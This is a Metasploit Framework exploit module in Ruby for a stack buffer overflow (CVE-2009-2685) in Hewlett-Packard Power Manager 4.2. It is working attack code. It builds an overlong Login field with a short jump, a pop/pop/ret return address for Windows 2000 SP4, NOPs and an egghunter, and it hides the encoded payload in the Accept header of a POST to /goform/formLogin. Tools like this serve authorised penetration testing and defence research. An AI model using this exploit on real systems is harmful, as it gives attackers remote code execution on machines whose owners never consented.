##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Hewlett-Packard Power Manager Administration Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.
				Sending a specially crafted POST request with an overly long Login string, an
				attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC', 'sinn3r' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2009-2685' ],
					[ 'OSVDB', '59684'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					#'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' => { 'BufferRegister'=>'EDI' },
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], # pop/pop/ret in msvcp60.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 4 2009'))
	end

	def exploit

		opts = { :checksum => true }
		hunter,p = generate_egghunter(payload.encoded, payload_badchars, opts)

		sploit = rand_text_alpha_upper(2024)

		# Around 600 bytes of room for egghunter
		sploit[633,2] = Rex::Arch::X86.jmp_short(24)
		sploit[635,4] = [target.ret].pack('V')
		sploit[639,32] = make_nops(32)
		sploit[671,hunter.length] = hunter

		print_status("Trying target #{target.name}...")

		req = send_request_cgi({
			'method'    => 'POST',
			'uri'       => '/goform/formLogin',
			'vars_post' => {
				'HtmlOnly'    => 'true',
				'Login'       => sploit + 'passwd',
				'Password'    => '',
				'loginButton' => 'Submit+Login'
			},
			'headers' => {
				'Accept' => p
			}
		}, 10)

		select(nil,nil,nil,5)
		handler
	end

end
